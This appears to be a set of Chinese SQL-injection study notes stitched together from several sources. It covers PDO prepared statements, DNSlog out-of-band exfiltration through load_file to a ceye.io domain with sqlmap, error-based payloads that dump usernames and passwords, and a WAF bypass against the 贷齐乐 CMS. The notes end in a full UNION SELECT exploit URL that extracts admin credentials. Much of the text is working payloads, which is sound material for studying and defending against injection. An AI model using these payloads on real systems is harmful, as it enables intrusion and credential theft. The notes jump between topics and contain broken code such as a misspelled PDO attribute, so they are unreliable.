在php手册中'PDO--预处理语句与存储过程'下的说明:
很多更成熟的数据库都支持预处理语句的概念。什么是预处理语句?可以把它看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制。预处理语句可以带来两大好处:
查询仅需解析(或预处理)一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划。对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度。通过使用预处理语句,可以避免重复分析/编译/优化周 期。简言之,预处理语句占用更少的资源,因而运行得更快。
提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入。(然而,如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险)。
预处理语句如此有用,以至于它们唯一的特性是在驱动程序不支持的时PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能,都可以确保应用程序可以用相同的数据访问模式。
下边分别说明一下上述两点好处:
1.首先说说mysql的存储过程,mysql5中引入了存储过程特性,存储过程创建的时候,数据库已经对其进行了一次解析和优化。其次,存储过程一旦执行,在内存中就会保留一份这个存储过程,这样下次再执行同样的存储过程时,可以从内存中直接中读取。mysql存储过程的使用可以参看:mysql prepare 存储过程使用 - - ITeye博客
对于PDO,原理和其相同,只是PDO支持EMULATE_PREPARES(模拟预处理)方式,是在本地由PDO驱动完成,同时也可以不使用本地的模拟预处理,交由mysql完成,下边会对这两种情况进行说明。
2.防止sql注入,我通过tcpdump和wireshark结合抓包来分析一下。
在虚拟机上执行一段代码,对远端mysql发起请求:
<?php
// 连接到数据库,创建 PDO 对象
$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root","root123");
// 准备 SQL 查询语句,使用参数化查询来防止 SQL 注入攻击
$st = $pdo->prepare("select * from users where id =?");
// 从 GET 请求中获取 id 参数,这里假设用户通过 URL 提供了一个 id 参数
$id = $_GET['id'];
// 绑定参数到 SQL 查询语句中的第一个占位符(即问号),避免直接拼接参数到 SQL 语句中
$st->bindParam(1, $id);
// 执行 SQL 查询
$st->execute();
// 获取查询结果的所有行,并将其作为关联数组返回
$ret = $st->fetchAll();
// 打印查询结果,通常用于调试或展示目的
print_r($ret);
?>
通过抓包生成文件:
通过wireshark打开文件:
可以看到整个过程:3次握手--Login Request--Request Query--Request Quit
查看Request Query包可以看到:
咦?这不也是拼接sql语句么?
其实,这与我们平时使用mysql_real_escape_string将字符串进行转义,再拼接成SQL语句没有差别,只是由PDO本地驱动完成转义的(EMULATE_PREPARES)
这种情况下还是有可能造成SQL 注入的,也就是说在php本地调用pdo prepare中的mysql_real_escape_string来操作query,使用的是本地单字节字符集,而我们传递多字节编码的变量时,有可能还是会造成SQL注入漏洞(php 5.3.6以前版本的问题之一,这也就解释了为何在使用PDO时,建议升级到php 5.3.6+,并在DSN字符串中指定charset的原因)。
PDO有一项参数,名为PDO::ATTR_EMULATE_PREPARES ,表示是否使用PHP本地模拟prepare,此项参数默认true,我们改为false后再抓包看看。
先在代码第一行后添加
$pdo->setAttribute(PDD::ATTR_EMULATE_PREARES,false);
再次用tcpdump抓包,通过wireshark我们可以看到:
php对sql语句发送采用了prepare--execute方式
这次的变量转义处理交由mysql server来执行。
既然变量和SQL模板是分两次发送的,那么就不存在SQL注入的问题了,但明显会多一次传输,这在php5.3.6之后是不需要的。
show variables like '%secure%';
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。 所以修改C:\phpstudy_pro\www\MySQL5.7.22\my.ini 添加secure_file_priv="" 重启mysql
DNSLog Platform https://dnslog.io/ CEYE - Monitor service for security testing
这里选择利用ceye平台
现买域名还需要实名认证要等几天,这里就本地进行复现 这里使用三台虚拟机,在公网是一样的效果
1.kali(使用sqlmap)ip 172.16.60.222
2.windows10(靶机)有注入点 ip 172.16.60.250
3.win2008r2 (dns服务器)ip 172.16.60.166 3需要设置dns服务器
点击下一步,勾选dns服务器
连续下一步,之后点击安装,等待安装… 安装完成之后在开始管理工具中选择dns管理器 右键,属性
在监视中对测试类型打钩
在正常查找区域中右键选择新建区域
设置新建区域名称
继续默认下一步就可以 进入我们设置的域名,右键,新建主机(A记录) 设置域名,这里的ip地址为kali的ip
继续添加 因为这里是本地模拟,所以需要修改靶机的dns服务器为我们设置的dns服务器
在kali执行
tcpdump -n port 53
在靶机执行
ping test.ring04h.top
在kali看到了数据包证明成功
在条件转发器上右键添加条件转发器
ip是kali 的ip,之后点击确定 在靶机执行
ping test.oupeng.top
kali有显示即可
http://127.0.0.1/sqllabs/Less-8/?id=1%27%20and%20load_file(concat(%22\\\\%22,database(),%22.bgwqmj.ceye.io\\abc%22))--+
看到平台回显
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" --technique=T --dns-domain "oupeng.top" -D security --tables
and ST_LatFromGeoHash(concat(0x7e,(select user(),0x7e))
//ST_LatFromGeoHash 是一个地理信息系统(GIS)函数,用于从 GeoHash 字符串中提取经度
#同 8 ,都使用了嵌套查询
and ST_LongFromGeoHash(concat(0x7e,(select user(),0x7e))
//ST_LongFromGeoHash 是一个地理信息系统(GIS)函数,用于从 GeoHash 字符串中提取纬度(Longitude)的值。
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
--GTID_SUBSET函数
or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)
--GTID_SUBTRACT
or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)
获取数据库版本信息
or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取当前数据库
or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取表数据
or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取users表里的段名
or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
or ST_PointFromGeoHash(version(),1)--+
or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
贷齐乐系统最新版SQL注入(利用hpp+php的特性进行巧妙的sql注入)
<span style="color:#ab4642">0x01 被WAF武装的贷齐乐</span>
随便给一个贷齐乐最新版的SQL注入,如 http://.../index.php?blog&q=viewfast&id=xxx ,测试后可以发现,根本无法获取任何敏感信息,连数据库版本和用户名都没法获取。
贷齐乐这个系统,说起来也是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。
/core/sqlin.inc.php,包含在config.inc.php中,所有请求都会经由此类过滤:
class sqlin {
// 构造函数,可能用于初始化对象
function sqlin() {
// 遍历 $_GET 中的每个键值对
foreach ($_GET as $key => $value) {
// 检查键名不是 "content",并且不包含 "password" 的字符串
if ($key != "content" && strstr($key, "password") == false) {
// 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_GET[$key]
$_GET[$key] = $this->dowith_sql($value);
}
}
// 遍历 $_POST 中的每个键值对
foreach ($_POST as $key => $value) {
// 输出调试信息到文件
@file_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);
// 检查键名不是 "content",并且不包含 "password" 的字符串
if ($key != "content" && strstr($key, "password") == false) {
// 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_POST[$key]
$_POST[$key] = $this->dowith_sql($value);
}
}
// 遍历 $_REQUEST 中的每个键值对(包含 $_GET、$_POST、$_COOKIE 的合集)
foreach ($_REQUEST as $key => $value) {
// 检查键名不是 "content",并且不包含 "password" 的字符串
if ($key != "content" && strstr($key, "password") == false) {
// 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_REQUEST[$key]
$_REQUEST[$key] = $this->dowith_sql($value);
}
}
}
// 处理 SQL 注入的方法
function dowith_sql($str) {
// 检查 $str 中是否包含任何 SQL 注入的关键字或字符
$check = eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
// 如果检测到非法字符,输出警告并终止脚本
if ($check) {
echo "非法字符!";
exit();
}
// 循环处理 $str,直到 $newstr 等于 $str
$newstr = "";
while ($newstr != $str) {
$newstr = $str;
// 逐个替换一些关键字和特殊字符为空字符串,以过滤掉可能的恶意输入
$str = str_replace("script", "", $str);
$str = str_replace("execute", "", $str);
$str = str_replace("update", "", $str);
// $str = str_replace("count", "", $str); // 注释掉对 count 的过滤,避免误伤如 "account" 参数
$str = str_replace("master", "", $str);
$str = str_replace("truncate", "", $str);
$str = str_replace("declare", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("create", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("insert", "", $str);
$str = str_replace("\'", "", $str); // 移除单引号,可能是注入的一部分
}
// 返回处理后的 $str
return $str;
}
}
ET/POST/REQUEST三个变量,都会经过这个正则:select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile
一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。
估计不少胆子小的同学已经被吓哭了,还没完,继续第二个waf开始
/core/safe.inc.php 里面的过滤
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
} else {
$str = addslashes($str);
}
}
return $str;
}
/*如果服务器的 magic_quotes_gpc 没有开启(get_magic_quotes_gpc() 返回 false,
如果输入 $str 是一个数组,则递归地对数组的每个元素调用 safe_str() 函数,
如果输入 $str 是字符串,则使用 addslashes() 函数给字符串中的特殊字符添加反斜线,*/
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
} else {
$string = str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
/*
如果输入 $string 是数组,则递归地对数组的每个元素调用 dhtmlspecialchars() 函数,
如果输入 $string 是字符串,则使用 str_replace() 函数将 &, ", <, >, (, ) 等特殊字符替换为它们的 HTML 实体表示,例如 &, ", <, >。
如果字符串中包含 &#,则使用正则表达式 preg_replace() 将类似 &#123; 这样的 HTML 实体转换为原始的字符。*/
foreach ($_GET as $key => $value) {
$_GET[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value); // 这里应该是 $_POST[$key]
}
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = safe_str($value);
$_REQUEST[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {
$_COOKIE[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value); // 这里应该是 $_COOKIE[$key]
}
/*对 $_GET, $_POST, $_REQUEST, $_COOKIE 数组中的每个键值对进行循环处理。
每个值首先通过 safe_str() 函数进行安全处理,然后再通过 dhtmlspecialchars() 函数进行 HTML 实体转换处理。*/
GET/POST/REQUEST/COOKIE都会经过这个替换str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string),你又哭了吗?
这个替换最明显的效果,就是所有的英文括号都变成中文括号,导致user(),database()等无法执行
比如文章开头给的注入点,因为没有括号也没有select,所以我拿不到任何敏感信息
所以,原本岌岌可危的贷齐乐,彷佛穿了一件钢铁盔甲,成为了一个『安全』的P2P金融系统,但真的安全吗?
如果想找到可以使用的SQL注入漏洞,首要任务就是绕过WAF。通过阅读源码,我列出贷齐乐系统对于输入(包括WAF)的处理过程:
index.php -> config.inc.php -> sqlin.php -> safe.inc.php
sqlin.php是对select、union、’等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。
safe.inc.php是替换一些敏感字符,比如<、>、(、)等。
但我在safe.inc.php里找到了如下一段代码(在替换之前):
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
//$_REQUEST[$_value[0]] = addslashes($_value[1]);
//$_REQUEST[$_value[0]] = dhtmlspecialchars($_value[1]);
}
}
}
将$_SERVER['REQUEST_URI']用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。
按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。
那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。
说漏洞之前,我们先利用靶机测试,在本地测试一些东西:
可以看到获取了id=2的内容,当我们输入两个相同名字的参数的时候,php是取后一个的
实验做完了,回到漏洞。
我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到 的是1,那么不就可以造成WAF的绕过了么?
但上述实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的 了?
php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。
那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即 为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。
可在$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的 $_REQUEST['user_id']却是11111。
完美践行了我上述的思路:WAF检测的是2,实际插入数据库的却是1
这一节我需要找到一个真正满足条件的漏洞来。上述的绕过思路是有条件限制的,如下:
先需要找到一个注入点
注入点可控变量需要获取自$_REQUEST
变量的名字必须包含下划线
好找吗?其实在千疮百孔的贷齐乐系统中,这些条件很容易满足。文件 /core/user.class.php 394行
public static function GetOne($data = array()){
global $mysql;
$user_id = isset($data['user_id'])?$data['user_id']:"";
$username = isset($data['username'])?$data['username']:"";
$password = isset($data['password'])?$data['password']:"";
$email = isset($data['email'])?$data['email']:"";
$type_id = isset($data['type_id'])?$data['type_id']:"";
$sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
`user_id` int(11) NOT NULL DEFAULT '0')";
$mysql ->db_query($sql);
if ($user_id == "" && $username == "") return self::ERROR;
$sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.* from `{user}` as p1
left join `{user_type}` as p2 on p1.type_id = p2.type_id
left join `{user_cache}` as p3 on p3.user_id = p1.user_id
left join `{account}` as p4 on p4.user_id = p1.user_id
left join `{userinfo}` as p5 on p5.user_id = p1.user_id
where 1=1 ";
if ($user_id!=""){
$sql .= " and p1.user_id = $user_id";
}
if ($password!=""){
$sql .= " and p1.password = '".md5($password)."'";
}
if ($username!=""){
$sql .= " and p1.username = '$username'";
}
if ($email!=""){
$sql .= " and p1.email = '$email'";
}
if ($type_id!=""){
$sql .= " and p1.type_id = '$type_id'";
}
return $mysql->db_fetch_array($sql);
}
可说明这是一个SQL注入。我们用常规SQL注入手段,即可发现被WAF拦截:
那么我们用上一节说的手法,加个user.id=123123,试试还会不会被拦截了:
妥妥了,不拦截了,而且SQL注入也可以正常进行。
因为获取的是REQUEST_URI,所以特殊字符会被url编码,没关系可以用一些关键词替换。另外,我们这个方法只能绕过检测的WAF,没法绕过safe.inc.php里替换的WAF,所以还是没法使用括号。
即使如此,对于union select注入来说,括号并不需要
最后构造的exp为:
http://**.**.**.**/?query_site=home&user_id=-1/**/Union/**/SElect/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,username,password,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194/**/from/**/dw_user/**/limit/**/0,1&user.id=1
注入出管理员账号密码
这个洞的挖掘包括利用其实很巧妙,利用的是hpp+php特性,来绕过CMS应用中变态的WAF。造成漏洞 的根本原因不在hpp,也不在php的这个特性,根本原因是贷齐乐内部存在太多显而易见的SQL注入漏洞。
但由于其官方开发人员过于相信WAF,或者说他们并没有正确处理SQL注入漏洞的能力,只能通过拦截一些关键字来抵御SQL注入。那么一旦WAF被绕过,将造成无法挽回的损失。